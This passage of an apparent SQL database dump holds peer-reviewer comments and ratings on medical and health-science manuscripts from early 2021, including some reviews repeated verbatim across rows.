publish.','2021-01-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3000,650,7034,NULL,'2','r','n','m','n','Authors reported a case of carotid artery dissection presenting with Horner\'s syndrome, and the patient was treated successfully with Casper stent.\r\nThere is no new information about carotid artery dissection, Horner\'s syndrome, and CAS in this report.\r\nWhat is the most important and significant point of this report? What point do authors emphasize in this report?\r\n\r\nminor point\r\n1. What does SCAD in Discussion stand for?\r\n2. Figure 2 contains 6 panels. These are only repetition showing ICA stenosis. Only 1 panel is enough to show the condition of ICA.\r\n3. Figure 4 seems to be copies from website or somewhere of production company. \r\n4. Manuscript should be checked by a native English speaker.\r\n','','2021-01-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3008,16058,7125,NULL,'4','G','Y','Y','N','This is an interesting manuscript that compares the risk or mortality from HEMS operations with other medical or leisure activities. This is useful and important information that will be used in decision-making relating to patient transport via HEMS. It is quite shocking to consider how many patients are transported via HEMS in the US, only to be discharged from hospital the next day. The manuscript is generally clear and concise and I have only minor concerns.\r\n\r\nAbstract\r\nThe abstract would benefit from inclusion of a definition of micromort. \r\nGeneral anaesthetic would be a more conventional term than \'anaesthetic procedure\'. \r\nThe inclusion of a percentage when comparing micromorts was slightly confusing and probably unnecessary.\r\nI am an amateur mountain climber and enthusiast but have never heard of the Devil\'s Tower. Is there another micromort comparison that might be more widely familiar to readers? This matters as it is what may be used in discussions regarding triage of actual patients.\r\nThe concluding sentence is important as it\'s the line everyone reads, it could be re-worded for greater clarity, e.g. \'For a patient whose condition is not thought to carry a greater risk of death than that associated with a general anaesthetic, triage for night HEMS transport may introduce greater risk than their medical condition itself.\'\r\n\r\n2.2 Measurement of acute risk\r\nThe micromort equations are confusing:\r\nmM = (Event (A) through (D)/Total Patients Flown, Patients Flown by Day and Patients Flown by Night) X 1,000,000    - What do the A and D mean? \r\nmM = (Event (1) through (6)/Number of Activities (1) through (6)) X 1,000,000    - What do the 1 and 6 mean?\r\nThe data for anaesthetic mortality are old (2005). Anaesthesia is likely to be safer now. Are any more recent data available?\r\nAs above, I\'m not sure the Devil\'s Tower rock climb is the ideal comparator as it\'s not familiar enough.\r\nThe comparison with road ambulance mortality is the most important one because realistically this is the alternative option for sick or injured patients who need transportation. This could be emphasised.\r\n\r\nResults\r\nGeneral anaesthetic preferred to \'anaesthetic procedure\' (which can include regional anaesthetic, blocks etc, which I presume are not included in this data).\r\nIt would be interesting to include other comparator activities in the table that people can relate to, e.g. risk of death when driving a car 1,000 km etc. This is the sort of comparison that is often used with patients in medical practice to give an indication of risk. Perhaps something like this could be used instead of the Devil\'s Tower rock climb?\r\n\r\nDiscussion\r\nFirst line: same comment as concluding sentence of abstract.\r\nPage 12: I don\'t understand this sentence: \'This research found HEMS flights carried over twice the acute risk than a patient’s during the day and over four fold at night.\'    - suggest revise this sentence for greater clarity.\r\n','Thank you for the invitation to review. \r\nI\'m very happy to review again after revision.','2021-01-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3009,5467,7151,NULL,'4','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-01-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3010,5467,7151,NULL,'4','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-01-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3011,5467,7165,NULL,'5','G','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-01-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3012,5467,7165,NULL,'5','G','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-01-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3013,13225,7009,NULL,'4','G','Y','Y','Y','The article entitled \" Assessing Neural Oscillations during Erotic and Negative Emotional Pictures Viewing: An Event-related potential study\" is a research article which explain whether or not there are components of the ERPs that discriminate the erotic and negative pictures during affective picture processing. And found that there is a difference in time course between the negative and positive valences emotional stimuli when the participants were experiencing different affective stats. With proper figures the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','The article entitled \" Assessing Neural Oscillations during Erotic and Negative Emotional Pictures Viewing: An Event-related potential study\" is a research article which explain whether or not there are components of the ERPs that discriminate the erotic and negative pictures during affective picture processing. And found that there is a difference in time course between the negative and positive valences emotional stimuli when the participants were experiencing different affective stats. With proper figures the author explain it very nicely. I suggest a small change i.e. the formatting, reference arrangement and grammar after that this article can publish.','2021-01-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3017,9902,6999,NULL,'4','G','y','y','y','ABSCESO CEREBRAL: UNA REVISIÓN DE LA LITERATURA\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Comentarios generales:\r\nEn mi opinión el texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado (y sus limitaciones).\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión. En definitiva, la revisión narrativa es “una opinión del autor”\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión” (y sus limitaciones). Es decir, los autores deben hacer notar las limitaciones de su revisión narrativa.\r\n-Discusión: \r\nLa revisión de la literatura debe ser más que citar los resultados de otros autores. También se deben discutir las fortalezas y debilidades de estos estudios, que deben proporcionar una imagen, aunque limitada, del estado del conocimiento y las principales preguntas sobre el tema que estos estudios aclaran y no aclaran (por ejemplo, por muestras inadecuadas, diseño incorrecto , comprobación de estadísticas erróneas, características de las personas estudiadas, etc.). Como la revisión no sistemática es en definitiva una opinión del autor, es fundamental que el autor intente defender su tesis y argumentos mediante el aporte de datos, razones y ejemplos de diferentes situaciones. Asimismo, es recomendable mostrar también una visión opuesta a la expuesta. Sugiero, para una mejor comprensión de los lectores, que el autor sintetice y resuma en una Tabla sus reflexiones y datos. Para ayudar al lector a pensar con claridad, una sugerencia es escribir los argumentos a favor y en contra en una tabla.\r\n-Conclusión:\r\nEs importante en cualquier artículo científico señalar los problemas que, del presente ensayo o estudio, aún están pendientes de solución o aclaración.\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en:\r\nhttps://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nPor ejemplo: Journal of clinical neuroscience. NLM Title Abbreviation: J Clin Neurosci\r\n','ABSCESO CEREBRAL: UNA REVISIÓN DE LA LITERATURA\r\nHe leído este manuscrito y desde luego felicito a los autores por su esfuerzo.\r\nYo creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\n\r\n-Comentarios generales:\r\nEn mi opinión el texto debe estar redactado según el formato de un artículo científico: Resumen, Introducción, Métodos y Resultados.\r\n-Método:\r\nSe requiere una sección clara del método utilizado (y sus limitaciones).\r\nHay dos tipos diferentes de investigación de revisión de la literatura disponibles: revisión sistemática y revisión no sistemática o revisión narrativa (actualización).\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\nSi se trata de una revisión narrativa los autores deben aclarar las limitaciones de ese tipo de revisión. En definitiva, la revisión narrativa es “una opinión del autor”\r\nSi se trata de una revisión sistemática, los autores deben tener en cuenta que en una revisión sistemática deben incluir, al menos, los siguientes datos:\r\n-¿Qué bases de datos se utilizaron? ¿Qué criterios de calidad científica y metodológica se utilizaron para elegir los artículos incluidos en la revisión?\r\n-Claridad acerca de las características metodológicas de los estudios que se incluirán o excluirán (por ejemplo, incluir solo ensayos controlados aleatorios).\r\n- Información sobre la validez (validez interna: se refiere a la capacidad de evitar errores o sesgos sistemáticos a través del diseño y realización del estudio, mientras que la validez externa se relaciona con la aplicabilidad de los resultados a una población específica) y la calidad de los estudios utilizados ( recomendaciones que se hacen con evidencia débil).\r\n-Debe existir algún sistema para reportar la calidad y fuerza de la recomendación, como el sistema GRADE (Indica hasta qué punto podemos confiar en que la estimación del efecto de la intervención es correcta y hasta qué punto podemos confiar en que la implementación de la recomendación traer más beneficios que riesgos).\r\n-Debe haber una determinación de la heterogeneidad.\r\n-Debe haber un análisis de subgrupos (a menudo es interesante examinar una categoría especial de participantes en la revisión (por ejemplo, mujeres, un grupo de edad o la gravedad de la enfermedad).\r\n- Debe de haber una determinación del sesgo de publicación (la recopilación de información debe ser integral; tanto estudios publicados como no publicados para evitar incurrir en sesgos de selección).\r\n-Resultados:\r\nSe requiere una sección clara de los resultados de la “revisión” (y sus limitaciones). Es decir, los autores deben hacer notar las limitaciones de su revisión narrativa.\r\n-Discusión: \r\nLa revisión de la literatura debe ser más que citar los resultados de otros autores. También se deben discutir las fortalezas y debilidades de estos estudios, que deben proporcionar una imagen, aunque limitada, del estado del conocimiento y las principales preguntas sobre el tema que estos estudios aclaran y no aclaran (por ejemplo, por muestras inadecuadas, diseño incorrecto , comprobación de estadísticas erróneas, características de las personas estudiadas, etc.). Como la revisión no sistemática es en definitiva una opinión del autor, es fundamental que el autor intente defender su tesis y argumentos mediante el aporte de datos, razones y ejemplos de diferentes situaciones. Asimismo, es recomendable mostrar también una visión opuesta a la expuesta. Sugiero, para una mejor comprensión de los lectores, que el autor sintetice y resuma en una Tabla sus reflexiones y datos. Para ayudar al lector a pensar con claridad, una sugerencia es escribir los argumentos a favor y en contra en una tabla.\r\n-Conclusión:\r\nEs importante en cualquier artículo científico señalar los problemas que, del presente ensayo o estudio, aún están pendientes de solución o aclaración.\r\n-Palabras clave:\r\nPara las palabras clave, se deben utilizar términos equivalentes a los de la lista Medical Subjects Headings (MeSH) del Index Medicus (disponible en https://meshb.nlm.nih.gov/search). La equivalencia entre los términos en español (Descriptores en Ciencias de la Salud, DeCS) y el correspondiente en inglés del MeSH se puede consultar en http://decs.bvs.br/E/homepagee.htm\r\n-Referencias:\r\nLas abreviaturas de las revistas deben ajustarse a las de la Biblioteca Nacional de Medicina de EE. UU. Para Medline / PubMed (disponible en:\r\nhttps://www.ncbi.nlm.nih.gov/nlmcatalog/journals\r\nPor ejemplo: Journal of clinical neuroscience. NLM Title Abbreviation: J Clin Neurosci\r\n','2021-01-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3019,12979,7132,NULL,'4','G','Y','Y','Y','Overall the case report is valuable to add more to the evolving scientific information about COVID-19 and its implication on Neurologic diseases. Except some minor grammatic revisions, it is ready to be published.','','2021-01-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3020,11126,6854,NULL,'4','R','N','M','Y','A fair observational study  on an interesting subject. \r\nAbstarct should be added in acordance with journal guide.','Medium quality draft.','2021-01-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3024,15589,6784,NULL,'4','G','Y','M','Y','1.	In objectives, I think it is better to say “to study association between” instead of “To find the degree of association between”\r\n2.	You mentioned “samples were taken within 12 weeks of their first exposure” I think this a broad word and the actual time should be identified clearly as this may affect your results. Is there follow up duration period to participants?\r\n3.	 I think this paragraph should be in methodology not in the introduction ‘We performed antibody testing to see the development of antibodies in PCR positive HCWs and also in PCR negative HCW who were exposed to SARS COV-2 while working in closed contact with the COVID 19 positive patients.”\r\n4.	Some repetitions are found in introduction about the tests for diagnosis\r\n5.	Can you please mention the reference of your methodology and types of material used \r\n6.	I think that discussion is too long\r\n7.	Please reform your conclusion to clarify the importance of your work not just mention your results\r\n8.	Please uniform the reference as regard page number either mention the full number “497-506’ or abbreviation “706-11”\r\n','','2021-01-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3039,12532,7151,NULL,'5','g','y','y','y','This study will contribute to the academic community with relevant information on the use of health educational fields as an investigation of the effects of an electro-stimulation protocol with a plyometric protocol to induce PAP on the performance of the vertical jump. This phenomenon occurs because of the phosphorylation of light chain regulatory myosin manifesting itself in rapidly contracting type II fibers. It was observed that the electro-stimulation did not produce a PAP effect nor in a greater magnitude than the Pliometric protocol, but it generated a greater effect on the jump resistance compared to the control condition and pliometry.\r\nI strongly recommend this study to be published in health science journal\r\n','','2021-01-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3041,10967,6854,NULL,'5','G','Y','Y','Y','Good','Accept','2021-01-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3042,10967,6849,NULL,'5','G','Y','Y','Y','Good','Accept','2021-01-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3043,10967,6741,NULL,'5','G','Y','Y','Y','Good','Accept','2021-01-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3044,10967,6741,NULL,'5','G','Y','Y','Y','Good','Accept','2021-01-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3051,11689,7182,NULL,'5','g','y','y','y','Good article about Giant Uterine Leiomyoma. \r\nPatients with myotonic dystrophy are at particularly high risk for cancer arising in the endometrium, brain, colon, or ovary. Giant leiomyoma can occur in patients with myotonic muscular dystrophy, a disease accompanied by muscle wasting.\r\nThere is only one case reported in a patient with muscular dystrophy till now and there is no literature on this, so the main aim of this case is to determine tailored Post-Operative Nursing Care in a Patient with Progressive Muscular Dystrophy Complicated with a Giant Uterine Leiomyoma\r\nIn this study author present a rare case of a giant uterine leiomyoma in a 31-year old Chinese woman with muscular dystrophy. The post-operative nursing care delivery to this patient is reported. \r\nI strongly recommend this case to be published in Health Science Journal\r\n','','2021-01-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3054,11689,7165,NULL,'5','g','y','y','y','Good article about COVID-19 . In this study author accessed Community-level factors associated with COVID-19 Morbidity and Mortality in us.\r\nCoronavirus disease 2019 (COVID-19) is an infectious disease caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). It has been declared as a pandemic on March 11th 2020 by the WHO. Morbidity and mortality of COVID-19 has been shown to be high among patients with underlying diseases.\r\nThe first case of SARS-CoV-2 infection in the United States was reported on 20 January 2020 in the state of Washington2 and to date, the pandemic has led to more than 240,000 COVID-19 deaths, making the United States by far the most affected country globally. However, there is high variation in rates of infections and underlying deaths across US states, counties and cities.\r\nAll in all, a  considerable number of comorbidities and biomarkers are associated  with severity and presentations of COVID-19 disease, affecting its  morbidity and mortality rates\r\nI strongly recommend this study to be published in Health Science Journal\r\n','','2021-01-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3055,11689,7165,NULL,'5','g','y','y','y','Good article about COVID-19 . In this study author accessed Community-level factors associated with COVID-19 Morbidity and Mortality in us.\r\nCoronavirus disease 2019 (COVID-19) is an infectious disease caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). It has been declared as a pandemic on March 11th 2020 by the WHO. Morbidity and mortality of COVID-19 has been shown to be high among patients with underlying diseases.\r\nThe first case of SARS-CoV-2 infection in the United States was reported on 20 January 2020 in the state of Washington2 and to date, the pandemic has led to more than 240,000 COVID-19 deaths, making the United States by far the most affected country globally. However, there is high variation in rates of infections and underlying deaths across US states, counties and cities.\r\nAll in all, a  considerable number of comorbidities and biomarkers are associated  with severity and presentations of COVID-19 disease, affecting its  morbidity and mortality rates\r\nI strongly recommend this study to be published in Health Science Journal\r\n','','2021-01-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3056,11689,7165,NULL,'5','g','y','y','y','Good article about COVID-19 . In this study author accessed Community-level factors associated with COVID-19 Morbidity and Mortality in us.\r\nCoronavirus disease 2019 (COVID-19) is an infectious disease caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). It has been declared as a pandemic on March 11th 2020 by the WHO. Morbidity and mortality of COVID-19 has been shown to be high among patients with underlying diseases.\r\nThe first case of SARS-CoV-2 infection in the United States was reported on 20 January 2020 in the state of Washington2 and to date, the pandemic has led to more than 240,000 COVID-19 deaths, making the United States by far the most affected country globally. However, there is high variation in rates of infections and underlying deaths across US states, counties and cities.\r\nAll in all, a  considerable number of comorbidities and biomarkers are associated  with severity and presentations of COVID-19 disease, affecting its  morbidity and mortality rates\r\nI strongly recommend this study to be published in Health Science Journal\r\n','','2021-01-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3058,15588,6784,NULL,'6','G','Y','y','Y','Since individuals have different immune response ,there is a need for alternative marker( than the  already used) based on  antibody  development in infected persons ,this is the importance of this research .','Since individuals have different immune response ,there is a need for alternative marker( than the  already used) based on  antibody  development in infected persons ,this is the importance of this research .','2021-01-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3061,13180,7164,NULL,'5','g','y','y','y','Can proceed article for publication. there are few minor corrections and grammatical errors that will be handled by our editorial team.','Can go-ahead for publication','2021-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3064,12972,7164,NULL,'6','R','y','y','y','I have gone through the article & the research has been done in a very descriptive manner. minor corrections and grammatical errors which will be handled by our editorial team.','Can proceed further with this article for publication','2021-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3066,11689,7098,NULL,'5','g','y','y','y','Good article about COVID-19 Pandemic in India. COVID-19 has changed the way we live and work, as various health and safety restrictions keep more of us at home more often. The resulting changes to our behavior are already impacting the environment around us in myriad ways. \r\nThe aim of this study is to describe how the pandemic influenced the environment. Most people practice social distancing and work remotely. All of these measures are aimed at controlling the spread of Covid-19.\r\n','','2021-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3067,15733,7089,NULL,'5','g','y','y','y','This study will contribute to the academic community with relevant information on the use of Masks and Oral Health. As the world adjusts to a new normal in light of the Coronavirus pandemic, new research has emerged indicating that people with advanced gingivitis and poor oral health are at greater risk for developing severe COVID-19 symptoms. In this article, we will see this new phenomenon, its aetiology, symptoms and prevention.\r\nI strongly recommend this study to be published in health science journal\r\n','','2021-01-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3068,15733,7089,NULL,'5','g','y','y','y','This study will contribute to the academic community with relevant information on the use of Masks and Oral Health. As the world adjusts to a new normal in light of the Coronavirus pandemic, new research has emerged indicating that people with advanced gingivitis and poor oral health are at greater risk for developing severe COVID-19 symptoms. In this article, we will see this new phenomenon, its aetiology, symptoms and prevention.\r\nI strongly recommend this study to be published in health science journal\r\n','','2021-01-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3069,11689,7160,NULL,'5','g','y','y','y','This study will contribute to the academic community with relevant information on the use of health educational fields as an investigation of Human Health Research Portal\r\nHuman Health research is a web based portal systems used in medical management, including promote awareness to people, inspire patient engagement, and sharing accurate health information in the post\r\nThe aim of this study is to build strong healthcare, which may give proper and right information to communities.\r\nI strongly recommend this study to be published in health science journal\r\n','','2021-01-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3070,11689,7160,NULL,'5','g','y','y','y','This study will contribute to the academic community with relevant information on the use of health educational fields as an investigation of Human Health Research Portal\r\nHuman Health research is a web based portal systems used in medical management, including promote awareness to people, inspire patient engagement, and sharing accurate health information in the post\r\nThe aim of this study is to build strong healthcare, which may give proper and right information to communities.\r\nI strongly recommend this study to be published in health science journal\r\n','','2021-01-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3077,11688,7182,NULL,'5','g','y','y','y','Good Article. Accepted for publication without any changes','','2021-01-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3080,12875,7204,NULL,'4','g','Y','Y','Y','Well-written value addition for follow-up surgical patients in the Pandemic period. While highlighting improvement of follow-up by 25% is appreciated, the authors need to report the reasons of about 10% who were not accessible for even telecommunication, that might help the future efforts by themselves or others. As accepted the study has the limitation of including a narrow range of surgeries, none the less adds value. Expanding such studies to include more surgeries like CABG, Cancer, etc, and emergency surgeries is suggested in near future.','A novel attempt and value add strategy for follow up. Deserves publication','2021-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3084,11689,7111,NULL,'5','g','y','y','y','I Strongly recommend this article to be published in Health Science Journal','','2021-02-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3087,11689,7128,NULL,'5','g','y','y','y','Good Article about Global Health.\r\nI strongly recommend this article to be published in Health Science Journal','','2021-02-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3088,11689,7022,NULL,'5','g','y','y','y','Good Article about married and union women.\r\nI strongly recommend this article to be published in Health Science Journal ','','2021-02-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3094,16209,7145,NULL,'5','G','G','G','Y','It is indeed immense pleasure going through your manuscript entitled \"Pregnancy Outcomes and Neonatal Complications in Asymptomatic Deliveries Complicated by COVID-19\". The main purpose of the paper is to compare pregnancy outcomes and neonatal complications in asymptomatic COVID-19 positive pregnancies and COVID-negative pregnancies. Pregnancy is known as a period at higher risk for the consequences of respiratory infections and severe pneumonia. Clearly, COVID-19 has the potential to cause significant complications in pregnancy. \r\nAuthor well presented the paper, included the screening of asymptomatic COVID-19 positive patients and negative patients and compared the Maternal Demographics and Neonatal outcomes of both the patients. I appreciate this innovative theme of selecting as a topic for his/her research. We strongly believe that, this study helps the researchers and the upcoming scholars to carry their scientific work. Hence, I recommend the article can be published.\r\n','It is indeed immense pleasure going through your manuscript entitled \"Pregnancy Outcomes and Neonatal Complications in Asymptomatic Deliveries Complicated by COVID-19\". The main purpose of the paper is to compare pregnancy outcomes and neonatal complications in asymptomatic COVID-19 positive pregnancies and COVID-negative pregnancies. Pregnancy is known as a period at higher risk for the consequences of respiratory infections and severe pneumonia. Clearly, COVID-19 has the potential to cause significant complications in pregnancy. \r\nAuthor well presented the paper, included the screening of asymptomatic COVID-19 positive patients and negative patients and compared the Maternal Demographics and Neonatal outcomes of both the patients. I appreciate this innovative theme of selecting as a topic for his/her research. We strongly believe that, this study helps the researchers and the upcoming scholars to carry their scientific work. Hence, I recommend the article can be published.\r\n','2021-02-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3105,16050,7104,NULL,'5','g','n','y','y','I\'m glad that i\'m invited as a reviewerfor, A Mini Review on Survey Parasitic of Nile Tilapia (Oreochromis niloticus) with Special Reference to their Immune Status, Histopathological Aspects and Nutritional Values. This a huge topic but still the inserted topics are intresting.      Histopathological examinations of fish collected from fish farm revealed, much higher incidence of pathological alterations. The effect of parasites in the present study can be detected using an analysis of pathologies, where the pathological alterations in fish are net result of adverse biochemical and physiological changes within the present finding were in agreement. So i think this Mini-Review can be accepted for publication in your esteemed 